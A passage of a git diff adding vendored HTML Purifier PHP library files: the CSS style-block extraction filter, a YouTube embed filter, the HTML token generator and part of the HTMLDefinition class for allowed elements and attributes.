+ * Removes inline <style> tags from HTML, saves them for later use
+ * @param string $html
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string
+ * @todo Extend to indicate non-text/css style blocks
+ */
+ public function preFilter($html, $config, $context)
+ {
+ $tidy = $config->get('Filter.ExtractStyleBlocks.TidyImpl');
+ if ($tidy !== null) {
+ $this->_tidy = $tidy;
+ }
+ $html = preg_replace_callback('#<style(?:\s.*)?>(.+)</style>#isU', array($this, 'styleCallback'), $html);
+ $style_blocks = $this->_styleMatches;
+ $this->_styleMatches = array(); // reset
+ $context->register('StyleBlocks', $style_blocks); // $context must not be reused
+ if ($this->_tidy) {
+ foreach ($style_blocks as &$style) {
+ $style = $this->cleanCSS($style, $config, $context);
+ }
+ }
+ return $html;
+ }
+
+ /**
+ * Takes CSS (the stuff found in <style>) and cleans it.
+ * @warning Requires CSSTidy <http://csstidy.sourceforge.net/>
+ * @param string $css CSS styling to clean
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @throws HTMLPurifier_Exception
+ * @return string Cleaned CSS
+ */
+ public function cleanCSS($css, $config, $context)
+ {
+ // prepare scope
+ $scope = $config->get('Filter.ExtractStyleBlocks.Scope');
+ if ($scope !== null) {
+ $scopes = array_map('trim', explode(',', $scope));
+ } else {
+ $scopes = array();
+ }
+ // remove comments from CSS
+ $css = trim($css);
+ if (strncmp('<!--', $css, 4) === 0) {
+ $css = substr($css, 4);
+ }
+ if (strlen($css) > 3 && substr($css, -3) == '-->') {
+ $css = substr($css, 0, -3);
+ }
+ $css = trim($css);
+ set_error_handler('htmlpurifier_filter_extractstyleblocks_muteerrorhandler');
+ $this->_tidy->parse($css);
+ restore_error_handler();
+ $css_definition = $config->getDefinition('CSS');
+ $html_definition = $config->getDefinition('HTML');
+ $new_css = array();
+ foreach ($this->_tidy->css as $k => $decls) {
+ // $decls are all CSS declarations inside an @ selector
+ $new_decls = array();
+ foreach ($decls as $selector => $style) {
+ $selector = trim($selector);
+ if ($selector === '') {
+ continue;
+ } // should not happen
+ // Parse the selector
+ // Here is the relevant part of the CSS grammar:
+ //
+ // ruleset
+ // : selector [ ',' S* selector ]* '{' ...
+ // selector
+ // : simple_selector [ combinator selector | S+ [ combinator? selector ]? ]?
+ // combinator
+ // : '+' S*
+ // : '>' S*
+ // simple_selector
+ // : element_name [ HASH | class | attrib | pseudo ]*
+ // | [ HASH | class | attrib | pseudo ]+
+ // element_name
+ // : IDENT | '*'
+ // ;
+ // class
+ // : '.' IDENT
+ // ;
+ // attrib
+ // : '[' S* IDENT S* [ [ '=' | INCLUDES | DASHMATCH ] S*
+ // [ IDENT | STRING ] S* ]? ']'
+ // ;
+ // pseudo
+ // : ':' [ IDENT | FUNCTION S* [IDENT S*]? ')' ]
+ // ;
+ //
+ // For reference, here are the relevant tokens:
+ //
+ // HASH #{name}
+ // IDENT {ident}
+ // INCLUDES ==
+ // DASHMATCH |=
+ // STRING {string}
+ // FUNCTION {ident}\(
+ //
+ // And the lexical scanner tokens
+ //
+ // name {nmchar}+
+ // nmchar [_a-z0-9-]|{nonascii}|{escape}
+ // nonascii [\240-\377]
+ // escape {unicode}|\\[^\r\n\f0-9a-f]
+ // unicode \\{h}}{1,6}(\r\n|[ \t\r\n\f])?
+ // ident -?{nmstart}{nmchar*}
+ // nmstart [_a-z]|{nonascii}|{escape}
+ // string {string1}|{string2}
+ // string1 \"([^\n\r\f\\"]|\\{nl}|{escape})*\"
+ // string2 \'([^\n\r\f\\"]|\\{nl}|{escape})*\'
+ //
+ // We'll implement a subset (in order to reduce attack
+ // surface); in particular:
+ //
+ // - No Unicode support
+ // - No escapes support
+ // - No string support (by proxy no attrib support)
+ // - element_name is matched against allowed
+ // elements (some people might find this
+ // annoying...)
+ // - Pseudo-elements one of :first-child, :link,
+ // :visited, :active, :hover, :focus
+
+ // handle ruleset
+ $selectors = array_map('trim', explode(',', $selector));
+ $new_selectors = array();
+ foreach ($selectors as $sel) {
+ // split on +, > and spaces
+ $basic_selectors = preg_split('/\s*([+> ])\s*/', $sel, -1, PREG_SPLIT_DELIM_CAPTURE);
+ // even indices are chunks, odd indices are
+ // delimiters
+ $nsel = null;
+ $delim = null; // guaranteed to be non-null after
+ // two loop iterations
+ for ($i = 0, $c = count($basic_selectors); $i < $c; $i++) {
+ $x = $basic_selectors[$i];
+ if ($i % 2) {
+ // delimiter
+ if ($x === ' ') {
+ $delim = ' ';
+ } else {
+ $delim = ' ' . $x . ' ';
+ }
+ } else {
+ // simple selector
+ $components = preg_split('/([#.:])/', $x, -1, PREG_SPLIT_DELIM_CAPTURE);
+ $sdelim = null;
+ $nx = null;
+ for ($j = 0, $cc = count($components); $j < $cc; $j++) {
+ $y = $components[$j];
+ if ($j === 0) {
+ if ($y === '*' || isset($html_definition->info[$y = strtolower($y)])) {
+ $nx = $y;
+ } else {
+ // $nx stays null; this matters
+ // if we don't manage to find
+ // any valid selector content,
+ // in which case we ignore the
+ // outer $delim
+ }
+ } elseif ($j % 2) {
+ // set delimiter
+ $sdelim = $y;
+ } else {
+ $attrdef = null;
+ if ($sdelim === '#') {
+ $attrdef = $this->_id_attrdef;
+ } elseif ($sdelim === '.') {
+ $attrdef = $this->_class_attrdef;
+ } elseif ($sdelim === ':') {
+ $attrdef = $this->_enum_attrdef;
+ } else {
+ throw new HTMLPurifier_Exception('broken invariant sdelim and preg_split');
+ }
+ $r = $attrdef->validate($y, $config, $context);
+ if ($r !== false) {
+ if ($r !== true) {
+ $y = $r;
+ }
+ if ($nx === null) {
+ $nx = '';
+ }
+ $nx .= $sdelim . $y;
+ }
+ }
+ }
+ if ($nx !== null) {
+ if ($nsel === null) {
+ $nsel = $nx;
+ } else {
+ $nsel .= $delim . $nx;
+ }
+ } else {
+ // delimiters to the left of invalid
+ // basic selector ignored
+ }
+ }
+ }
+ if ($nsel !== null) {
+ if (!empty($scopes)) {
+ foreach ($scopes as $s) {
+ $new_selectors[] = "$s $nsel";
+ }
+ } else {
+ $new_selectors[] = $nsel;
+ }
+ }
+ }
+ if (empty($new_selectors)) {
+ continue;
+ }
+ $selector = implode(', ', $new_selectors);
+ foreach ($style as $name => $value) {
+ if (!isset($css_definition->info[$name])) {
+ unset($style[$name]);
+ continue;
+ }
+ $def = $css_definition->info[$name];
+ $ret = $def->validate($value, $config, $context);
+ if ($ret === false) {
+ unset($style[$name]);
+ } else {
+ $style[$name] = $ret;
+ }
+ }
+ $new_decls[$selector] = $style;
+ }
+ $new_css[$k] = $new_decls;
+ }
+ // remove stuff that shouldn't be used, could be reenabled
+ // after security risks are analyzed
+ $this->_tidy->css = $new_css;
+ $this->_tidy->import = array();
+ $this->_tidy->charset = null;
+ $this->_tidy->namespace = null;
+ $css = $this->_tidy->print->plain();
+ // we are going to escape any special characters <>& to ensure
+ // that no funny business occurs (i.e. </style> in a font-family prop).
+ if ($config->get('Filter.ExtractStyleBlocks.Escaping')) {
+ $css = str_replace(
+ array('<', '>', '&'),
+ array('\3C ', '\3E ', '\26 '),
+ $css
+ );
+ }
+ return $css;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/YouTube.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/YouTube.php
new file mode 100644
index 000000000..411519ad6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/YouTube.php
@@ -0,0 +1,65 @@
+<?php
+
+class HTMLPurifier_Filter_YouTube extends HTMLPurifier_Filter
+{
+
+ /**
+ * @type string
+ */
+ public $name = 'YouTube';
+
+ /**
+ * @param string $html
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string
+ */
+ public function preFilter($html, $config, $context)
+ {
+ $pre_regex = '#<object[^>]+>.+?' .
+ 'http://www.youtube.com/((?:v|cp)/[A-Za-z0-9\-_=]+).+?</object>#s';
+ $pre_replace = '<span class="youtube-embed">\1</span>';
+ return preg_replace($pre_regex, $pre_replace, $html);
+ }
+
+ /**
+ * @param string $html
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string
+ */
+ public function postFilter($html, $config, $context)
+ {
+ $post_regex = '#<span class="youtube-embed">((?:v|cp)/[A-Za-z0-9\-_=]+)</span>#';
+ return preg_replace_callback($post_regex, array($this, 'postFilterCallback'), $html);
+ }
+
+ /**
+ * @param $url
+ * @return string
+ */
+ protected function armorUrl($url)
+ {
+ return str_replace('--', '-&#45;', $url);
+ }
+
+ /**
+ * @param array $matches
+ * @return string
+ */
+ protected function postFilterCallback($matches)
+ {
+ $url = $this->armorUrl($matches[1]);
+ return '<object width="425" height="350" type="application/x-shockwave-flash" ' .
+ 'data="http://www.youtube.com/' . $url . '">' .
+ '<param name="movie" value="http://www.youtube.com/' . $url . '"></param>' .
+ '<!--[if IE]>' .
+ '<embed src="http://www.youtube.com/' . $url . '"' .
+ 'type="application/x-shockwave-flash"' .
+ 'wmode="transparent" width="425" height="350" />' .
+ '<![endif]-->' .
+ '</object>';
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Generator.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Generator.php
new file mode 100644
index 000000000..6fb568714
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Generator.php
@@ -0,0 +1,286 @@
+<?php
+
+/**
+ * Generates HTML from tokens.
+ * @todo Refactor interface so that configuration/context is determined
+ * upon instantiation, no need for messy generateFromTokens() calls
+ * @todo Make some of the more internal functions protected, and have
+ * unit tests work around that
+ */
+class HTMLPurifier_Generator
+{
+
+ /**
+ * Whether or not generator should produce XML output.
+ * @type bool
+ */
+ private $_xhtml = true;
+
+ /**
+ * :HACK: Whether or not generator should comment the insides of <script> tags.
+ * @type bool
+ */
+ private $_scriptFix = false;
+
+ /**
+ * Cache of HTMLDefinition during HTML output to determine whether or
+ * not attributes should be minimized.
+ * @type HTMLPurifier_HTMLDefinition
+ */
+ private $_def;
+
+ /**
+ * Cache of %Output.SortAttr.
+ * @type bool
+ */
+ private $_sortAttr;
+
+ /**
+ * Cache of %Output.FlashCompat.
+ * @type bool
+ */
+ private $_flashCompat;
+
+ /**
+ * Cache of %Output.FixInnerHTML.
+ * @type bool
+ */
+ private $_innerHTMLFix;
+
+ /**
+ * Stack for keeping track of object information when outputting IE
+ * compatibility code.
+ * @type array
+ */
+ private $_flashStack = array();
+
+ /**
+ * Configuration for the generator
+ * @type HTMLPurifier_Config
+ */
+ protected $config;
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ */
+ public function __construct($config, $context)
+ {
+ $this->config = $config;
+ $this->_scriptFix = $config->get('Output.CommentScriptContents');
+ $this->_innerHTMLFix = $config->get('Output.FixInnerHTML');
+ $this->_sortAttr = $config->get('Output.SortAttr');
+ $this->_flashCompat = $config->get('Output.FlashCompat');
+ $this->_def = $config->getHTMLDefinition();
+ $this->_xhtml = $this->_def->doctype->xml;
+ }
+
+ /**
+ * Generates HTML from an array of tokens.
+ * @param HTMLPurifier_Token[] $tokens Array of HTMLPurifier_Token
+ * @return string Generated HTML
+ */
+ public function generateFromTokens($tokens)
+ {
+ if (!$tokens) {
+ return '';
+ }
+
+ // Basic algorithm
+ $html = '';
+ for ($i = 0, $size = count($tokens); $i < $size; $i++) {
+ if ($this->_scriptFix && $tokens[$i]->name === 'script'
+ && $i + 2 < $size && $tokens[$i+2] instanceof HTMLPurifier_Token_End) {
+ // script special case
+ // the contents of the script block must be ONE token
+ // for this to work.
+ $html .= $this->generateFromToken($tokens[$i++]);
+ $html .= $this->generateScriptFromToken($tokens[$i++]);
+ }
+ $html .= $this->generateFromToken($tokens[$i]);
+ }
+
+ // Tidy cleanup
+ if (extension_loaded('tidy') && $this->config->get('Output.TidyFormat')) {
+ $tidy = new Tidy;
+ $tidy->parseString(
+ $html,
+ array(
+ 'indent'=> true,
+ 'output-xhtml' => $this->_xhtml,
+ 'show-body-only' => true,
+ 'indent-spaces' => 2,
+ 'wrap' => 68,
+ ),
+ 'utf8'
+ );
+ $tidy->cleanRepair();
+ $html = (string) $tidy; // explicit cast necessary
+ }
+
+ // Normalize newlines to system defined value
+ if ($this->config->get('Core.NormalizeNewlines')) {
+ $nl = $this->config->get('Output.Newline');
+ if ($nl === null) {
+ $nl = PHP_EOL;
+ }
+ if ($nl !== "\n") {
+ $html = str_replace("\n", $nl, $html);
+ }
+ }
+ return $html;
+ }
+
+ /**
+ * Generates HTML from a single token.
+ * @param HTMLPurifier_Token $token HTMLPurifier_Token object.
+ * @return string Generated HTML
+ */
+ public function generateFromToken($token)
+ {
+ if (!$token instanceof HTMLPurifier_Token) {
+ trigger_error('Cannot generate HTML from non-HTMLPurifier_Token object', E_USER_WARNING);
+ return '';
+
+ } elseif ($token instanceof HTMLPurifier_Token_Start) {
+ $attr = $this->generateAttributes($token->attr, $token->name);
+ if ($this->_flashCompat) {
+ if ($token->name == "object") {
+ $flash = new stdclass();
+ $flash->attr = $token->attr;
+ $flash->param = array();
+ $this->_flashStack[] = $flash;
+ }
+ }
+ return '<' . $token->name . ($attr ? ' ' : '') . $attr . '>';
+
+ } elseif ($token instanceof HTMLPurifier_Token_End) {
+ $_extra = '';
+ if ($this->_flashCompat) {
+ if ($token->name == "object" && !empty($this->_flashStack)) {
+ // doesn't do anything for now
+ }
+ }
+ return $_extra . '</' . $token->name . '>';
+
+ } elseif ($token instanceof HTMLPurifier_Token_Empty) {
+ if ($this->_flashCompat && $token->name == "param" && !empty($this->_flashStack)) {
+ $this->_flashStack[count($this->_flashStack)-1]->param[$token->attr['name']] = $token->attr['value'];
+ }
+ $attr = $this->generateAttributes($token->attr, $token->name);
+ return '<' . $token->name . ($attr ? ' ' : '') . $attr .
+ ( $this->_xhtml ? ' /': '' ) // <br /> v. <br>
+ . '>';
+
+ } elseif ($token instanceof HTMLPurifier_Token_Text) {
+ return $this->escape($token->data, ENT_NOQUOTES);
+
+ } elseif ($token instanceof HTMLPurifier_Token_Comment) {
+ return '<!--' . $token->data . '-->';
+ } else {
+ return '';
+
+ }
+ }
+
+ /**
+ * Special case processor for the contents of script tags
+ * @param HTMLPurifier_Token $token HTMLPurifier_Token object.
+ * @return string
+ * @warning This runs into problems if there's already a literal
+ * --> somewhere inside the script contents.
+ */
+ public function generateScriptFromToken($token)
+ {
+ if (!$token instanceof HTMLPurifier_Token_Text) {
+ return $this->generateFromToken($token);
+ }
+ // Thanks <http://lachy.id.au/log/2005/05/script-comments>
+ $data = preg_replace('#//\s*$#', '', $token->data);
+ return '<!--//--><![CDATA[//><!--' . "\n" . trim($data) . "\n" . '//--><!]]>';
+ }
+
+ /**
+ * Generates attribute declarations from attribute array.
+ * @note This does not include the leading or trailing space.
+ * @param array $assoc_array_of_attributes Attribute array
+ * @param string $element Name of element attributes are for, used to check
+ * attribute minimization.
+ * @return string Generated HTML fragment for insertion.
+ */
+ public function generateAttributes($assoc_array_of_attributes, $element = '')
+ {
+ $html = '';
+ if ($this->_sortAttr) {
+ ksort($assoc_array_of_attributes);
+ }
+ foreach ($assoc_array_of_attributes as $key => $value) {
+ if (!$this->_xhtml) {
+ // Remove namespaced attributes
+ if (strpos($key, ':') !== false) {
+ continue;
+ }
+ // Check if we should minimize the attribute: val="val" -> val
+ if ($element && !empty($this->_def->info[$element]->attr[$key]->minimized)) {
+ $html .= $key . ' ';
+ continue;
+ }
+ }
+ // Workaround for Internet Explorer innerHTML bug.
+ // Essentially, Internet Explorer, when calculating
+ // innerHTML, omits quotes if there are no instances of
+ // angled brackets, quotes or spaces. However, when parsing
+ // HTML (for example, when you assign to innerHTML), it
+ // treats backticks as quotes. Thus,
+ // <img alt="``" />
+ // becomes
+ // <img alt=`` />
+ // becomes
+ // <img alt='' />
+ // Fortunately, all we need to do is trigger an appropriate
+ // quoting style, which we do by adding an extra space.
+ // This also is consistent with the W3C spec, which states
+ // that user agents may ignore leading or trailing
+ // whitespace (in fact, most don't, at least for attributes
+ // like alt, but an extra space at the end is barely
+ // noticeable). Still, we have a configuration knob for
+ // this, since this transformation is not necesary if you
+ // don't process user input with innerHTML or you don't plan
+ // on supporting Internet Explorer.
+ if ($this->_innerHTMLFix) {
+ if (strpos($value, '`') !== false) {
+ // check if correct quoting style would not already be
+ // triggered
+ if (strcspn($value, '"\' <>') === strlen($value)) {
+ // protect!
+ $value .= ' ';
+ }
+ }
+ }
+ $html .= $key.'="'.$this->escape($value).'" ';
+ }
+ return rtrim($html);
+ }
+
+ /**
+ * Escapes raw text data.
+ * @todo This really ought to be protected, but until we have a facility
+ * for properly generating HTML here w/o using tokens, it stays
+ * public.
+ * @param string $string String data to escape for HTML.
+ * @param int $quote Quoting style, like htmlspecialchars. ENT_NOQUOTES is
+ * permissible for non-attribute output.
+ * @return string escaped data.
+ */
+ public function escape($string, $quote = null)
+ {
+ // Workaround for APC bug on Mac Leopard reported by sidepodcast
+ // http://htmlpurifier.org/phorum/read.php?3,4823,4846
+ if ($quote === null) {
+ $quote = ENT_COMPAT;
+ }
+ return htmlspecialchars($string, $quote, 'UTF-8');
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLDefinition.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLDefinition.php
new file mode 100644
index 000000000..9b7b334dd
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLDefinition.php
@@ -0,0 +1,493 @@
+<?php
+
+/**
+ * Definition of the purified HTML that describes allowed children,
+ * attributes, and many other things.
+ *
+ * Conventions:
+ *
+ * All member variables that are prefixed with info
+ * (including the main $info array) are used by HTML Purifier internals
+ * and should not be directly edited when customizing the HTMLDefinition.
+ * They can usually be set via configuration directives or custom
+ * modules.
+ *
+ * On the other hand, member variables without the info prefix are used
+ * internally by the HTMLDefinition and MUST NOT be used by other HTML
+ * Purifier internals. Many of them, however, are public, and may be
+ * edited by userspace code to tweak the behavior of HTMLDefinition.
+ *
+ * @note This class is inspected by Printer_HTMLDefinition; please
+ * update that class if things here change.
+ *
+ * @warning Directives that change this object's structure must be in
+ * the HTML or Attr namespace!
+ */
+class HTMLPurifier_HTMLDefinition extends HTMLPurifier_Definition
+{
+
+ // FULLY-PUBLIC VARIABLES ---------------------------------------------
+
+ /**
+ * Associative array of element names to HTMLPurifier_ElementDef.
+ * @type HTMLPurifier_ElementDef[]
+ */
+ public $info = array();
+
+ /**
+ * Associative array of global attribute name to attribute definition.
+ * @type array
+ */
+ public $info_global_attr = array();
+
+ /**
+ * String name of parent element HTML will be going into.
+ * @type string
+ */
+ public $info_parent = 'div';
+
+ /**
+ * Definition for parent element, allows parent element to be a
+ * tag that's not allowed inside the HTML fragment.
+ * @type HTMLPurifier_ElementDef
+ */
+ public $info_parent_def;
+
+ /**
+ * String name of element used to wrap inline elements in block context.
+ * @type string
+ * @note This is rarely used except for BLOCKQUOTEs in strict mode
+ */
+ public $info_block_wrapper = 'p';
+
+ /**
+ * Associative array of deprecated tag name to HTMLPurifier_TagTransform.
+ * @type array
+ */
+ public $info_tag_transform = array();
+
+ /**
+ * Indexed list of HTMLPurifier_AttrTransform to be performed before validation.
+ * @type HTMLPurifier_AttrTransform[]
+ */
+ public $info_attr_transform_pre = array();
+
+ /**
+ * Indexed list of HTMLPurifier_AttrTransform to be performed after validation.
+ * @type HTMLPurifier_AttrTransform[]
+ */
+ public $info_attr_transform_post = array();
+
+ /**
+ * Nested lookup array of content set name (Block, Inline) to
+ * element name to whether or not it belongs in that content set.
+ * @type array
+ */
+ public $info_content_sets = array();
+
+ /**
+ * Indexed list of HTMLPurifier_Injector to be used.
+ * @type HTMLPurifier_Injector[]
+ */
+ public $info_injector = array();
+
+ /**
+ * Doctype object
+ * @type HTMLPurifier_Doctype
+ */
+ public $doctype;
+
+
+
+ // RAW CUSTOMIZATION STUFF --------------------------------------------
+
+ /**
+ * Adds a custom attribute to a pre-existing element
+ * @note This is strictly convenience, and does not have a corresponding
+ * method in HTMLPurifier_HTMLModule
+ * @param string $element_name Element name to add attribute to
+ * @param string $attr_name Name of attribute
+ * @param mixed $def Attribute definition, can be string or object, see
+ * HTMLPurifier_AttrTypes for details
+ */
+ public function addAttribute($element_name, $attr_name, $def)
+ {
+ $module = $this->getAnonymousModule();
+ if (!isset($module->info[$element_name])) {
+ $element = $module->addBlankElement($element_name);
+ } else {
+ $element = $module->info[$element_name];
+ }
+ $element->attr[$attr_name] = $def;
+ }
+
+ /**
+ * Adds a custom element to your HTML definition
+ * @see HTMLPurifier_HTMLModule::addElement() for detailed
+ * parameter and return value descriptions.
+ */
+ public function addElement($element_name, $type, $contents, $attr_collections, $attributes = array())
+ {
+ $module = $this->getAnonymousModule();
+ // assume that if the user is calling this, the element
+ // is safe. This may not be a good idea
+ $element = $module->addElement($element_name, $type, $contents, $attr_collections, $attributes);
+ return $element;
+ }
+
+ /**
+ * Adds a blank element to your HTML definition, for overriding
+ * existing behavior
+ * @param string $element_name
+ * @return HTMLPurifier_ElementDef
+ * @see HTMLPurifier_HTMLModule::addBlankElement() for detailed
+ * parameter and return value descriptions.
+ */
+ public function addBlankElement($element_name)
+ {
+ $module = $this->getAnonymousModule();
+ $element = $module->addBlankElement($element_name);
+ return $element;
+ }
+
+ /**
+ * Retrieves a reference to the anonymous module, so you can
+ * bust out advanced features without having to make your own
+ * module.
+ * @return HTMLPurifier_HTMLModule
+ */
+ public function getAnonymousModule()
+ {
+ if (!$this->_anonModule) {
+ $this->_anonModule = new HTMLPurifier_HTMLModule();
+ $this->_anonModule->name = 'Anonymous';
+ }
+ return $this->_anonModule;
+ }
+
+ private $_anonModule = null;
+
+ // PUBLIC BUT INTERNAL VARIABLES --------------------------------------
+
+ /**
+ * @type string
+ */
+ public $type = 'HTML';
+
+ /**
+ * @type HTMLPurifier_HTMLModuleManager
+ */
+ public $manager;
+
+ /**
+ * Performs low-cost, preliminary initialization.
+ */
+ public function __construct()
+ {
+ $this->manager = new HTMLPurifier_HTMLModuleManager();
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ protected function doSetup($config)
+ {
+ $this->processModules($config);
+ $this->setupConfigStuff($config);
+ unset($this->manager);
+
+ // cleanup some of the element definitions
+ foreach ($this->info as $k => $v) {
+ unset($this->info[$k]->content_model);
+ unset($this->info[$k]->content_model_type);
+ }
+ }
+
+ /**
+ * Extract out the information from the manager
+ * @param HTMLPurifier_Config $config
+ */
+ protected function processModules($config)
+ {
+ if ($this->_anonModule) {
+ // for user specific changes
+ // this is late-loaded so we don't have to deal with PHP4
+ // reference wonky-ness
+ $this->manager->addModule($this->_anonModule);
+ unset($this->_anonModule);
+ }
+
+ $this->manager->setup($config);
+ $this->doctype = $this->manager->doctype;
+
+ foreach ($this->manager->modules as $module) {
+ foreach ($module->info_tag_transform as $k => $v) {
+ if ($v === false) {
+ unset($this->info_tag_transform[$k]);
+ } else {
+ $this->info_tag_transform[$k] = $v;
+ }
+ }
+ foreach ($module->info_attr_transform_pre as $k => $v) {
+ if ($v === false) {
+ unset($this->info_attr_transform_pre[$k]);
+ } else {
+ $this->info_attr_transform_pre[$k] = $v;
+ }
+ }
+ foreach ($module->info_attr_transform_post as $k => $v) {
+ if ($v === false) {
+ unset($this->info_attr_transform_post[$k]);
+ } else {
+ $this->info_attr_transform_post[$k] = $v;
+ }
+ }
+ foreach ($module->info_injector as $k => $v) {
+ if ($v === false) {
+ unset($this->info_injector[$k]);
+ } else {
+ $this->info_injector[$k] = $v;
+ }
+ }
+ }
+ $this->info = $this->manager->getElements();
+ $this->info_content_sets = $this->manager->contentSets->lookup;
+ }
+
+ /**
+ * Sets up stuff based on config. We need a better way of doing this.
+ * @param HTMLPurifier_Config $config
+ */
+ protected function setupConfigStuff($config)
+ {
+ $block_wrapper = $config->get('HTML.BlockWrapper');
+ if (isset($this->info_content_sets['Block'][$block_wrapper])) {
+ $this->info_block_wrapper = $block_wrapper;
+ } else {
+ trigger_error(
+ 'Cannot use non-block element as block wrapper',
+ E_USER_ERROR
+ );
+ }
+
+ $parent = $config->get('HTML.Parent');
+ $def = $this->manager->getElement($parent, true);
+ if ($def) {
+ $this->info_parent = $parent;
+ $this->info_parent_def = $def;
+ } else {
+ trigger_error(
+ 'Cannot use unrecognized element as parent',
+ E_USER_ERROR
+ );
+ $this->info_parent_def = $this->manager->getElement($this->info_parent, true);
+ }
+
+ // support template text
+ $support = "(for information on implementing this, see the support forums) ";
+
+ // setup allowed elements -----------------------------------------
+
+ $allowed_elements = $config->get('HTML.AllowedElements');
+ $allowed_attributes = $config->get('HTML.AllowedAttributes'); // retrieve early
+
+ if (!is_array($allowed_elements) && !is_array($allowed_attributes)) {
+ $allowed = $config->get('HTML.Allowed');
+ if (is_string($allowed)) {
+ list($allowed_elements, $allowed_attributes) = $this->parseTinyMCEAllowedList($allowed);
+ }
+ }
+
+ if (is_array($allowed_elements)) {
+ foreach ($this->info as $name => $d) {
+ if (!isset($allowed_elements[$name])) {
+ unset($this->info[$name]);
+ }
+ unset($allowed_elements[$name]);
+ }
+ // emit errors
+ foreach ($allowed_elements as $element => $d) {
+ $element = htmlspecialchars($element); // PHP doesn't escape errors, be careful!
+ trigger_error("Element '$element' is not supported $support", E_USER_WARNING);
+ }
+ }
+
+ // setup allowed attributes ---------------------------------------
+
+ $allowed_attributes_mutable = $allowed_attributes; // by copy!
+ if (is_array($allowed_attributes)) {
+ // This actually doesn't do anything, since we went away from
+ // global attributes. It's possible that userland code uses
+ // it, but HTMLModuleManager doesn't!
+ foreach ($this->info_global_attr as $attr => $x) {
+ $keys = array($attr, "*@$attr", "*.$attr");
+ $delete = true;
+ foreach ($keys as $key) {
+ if ($delete && isset($allowed_attributes[$key])) {
+ $delete = false;
+ }
+ if (isset($allowed_attributes_mutable[$key])) {
+ unset($allowed_attributes_mutable[$key]);
+ }
+ }
+ if ($delete) {
+ unset($this->info_global_attr[$attr]);
+ }
+ }
+
+ foreach ($this->info as $tag => $info) {
+ foreach ($info->attr as $attr => $x) {
+ $keys = array("$tag@$attr", $attr, "*@$attr", "$tag.$attr", "*.$attr");
+ $delete = true;
+ foreach ($keys as $key) {
+ if ($delete && isset($allowed_attributes[$key])) {
+ $delete = false;
+ }
+ if (isset($allowed_attributes_mutable[$key])) {
+ unset($allowed_attributes_mutable[$key]);
+ }
+ }
+ if ($delete) {
+ if ($this->info[$tag]->attr[$attr]->required) {
+ trigger_error(
+ "Required attribute '$attr' in element '$tag' " .
+ "was not allowed, which means '$tag' will not be allowed either",
+ E_USER_WARNING
+ );
+ }
+ unset($this->info[$tag]->attr[$attr]);
+ }
+ }
+ }
+ // emit errors
+ foreach ($allowed_attributes_mutable as $elattr => $d) {
+ $bits = preg_split('/[.@]/', $elattr, 2);
+ $c = count($bits);
+ switch ($c) {
+ case 2:
+ if ($bits[0] !== '*') {
+ $element = htmlspecialchars($bits[0]);
+ $attribute = htmlspecialchars($bits[1]);
+ if (!isset($this->info[$element])) {
+ trigger_error(
+ "Cannot allow attribute '$attribute' if element " .
+ "'$element' is not allowed/supported $support"
+ );
+ } else {
+ trigger_error(
+ "Attribute '$attribute' in element '$element' not supported $support",
+ E_USER_WARNING
+ );
+ }
+ break;
+ }
+ // otherwise fall through
+ case 1:
+ $attribute = htmlspecialchars($bits[0]);
+ trigger_error(
+ "Global attribute '$attribute' is not ".
+ "supported in any elements $support",
+ E_USER_WARNING
+ );
+ break;
+ }
+ }
+ }
+
+ // setup forbidden elements ---------------------------------------
+
+ $forbidden_elements = $config->get('HTML.ForbiddenElements');
+ $forbidden_attributes = $config->get('HTML.ForbiddenAttributes');
+
+ foreach ($this->info as $tag => $info) {
+ if (isset($forbidden_elements[$tag])) {
+ unset($this->info[$tag]);
+ continue;
+ }
+ foreach ($info->attr as $attr => $x) {
+ if (isset($forbidden_attributes["$tag@$attr"]) ||
+ isset($forbidden_attributes["*@$attr"]) ||
+ isset($forbidden_attributes[$attr])
+ ) {
+ unset($this->info[$tag]->attr[$attr]);
+ continue;
+ } elseif (isset($forbidden_attributes["$tag.$attr"])) { // this segment might get removed eventually
+ // $tag.$attr are not user supplied, so no worries!
+ trigger_error(
+ "Error with $tag.$attr: tag.attr syntax not supported for " .
+ "HTML.ForbiddenAttributes; use tag@attr instead",
+ E_USER_WARNING
+ );
+ }
+ }
+ }
+ foreach ($forbidden_attributes as $key => $v) {
+ if (strlen($key) < 2) {
+ continue;
+ }
+ if ($key[0] != '*') {
+ continue;
+ }
+ if ($key[1] == '.') {
+ trigger_error(
+ "Error with $key: *.attr syntax not supported for HTML.ForbiddenAttributes; use attr instead",
+ E_USER_WARNING
+ );
+ }
+ }
+
+ // setup injectors -----------------------------------------------------
+ foreach ($this->info_injector as $i => $injector) {
+ if ($injector->checkNeeded($config) !== false) {
+ // remove injector that does not have it's required
+ // elements/attributes present, and is thus not needed.
+ unset($this->info_injector[$i]);
+ }
+ }
+ }
+
+ /**
+ * Parses a TinyMCE-flavored Allowed Elements and Attributes list into
+ * separate lists for processing. Format is element[attr1|attr2],element2...
+ * @warning Although it's largely drawn from TinyMCE's implementation,
+ * it is different, and you'll probably have to modify your lists
+ * @param array $list String list to parse
+ * @return array
+ * @todo Give this its own class, probably static interface
+ */
+ public function parseTinyMCEAllowedList($list)
+ {
+ $list = str_replace(array(' ', "\t"), '', $list);
+
+ $elements = array();
+ $attributes = array();
+
+ $chunks = preg_split('/(,|[\n\r]+)/', $list);
+ foreach ($chunks as $chunk) {
+ if (empty($chunk)) {
+ continue;
+ }
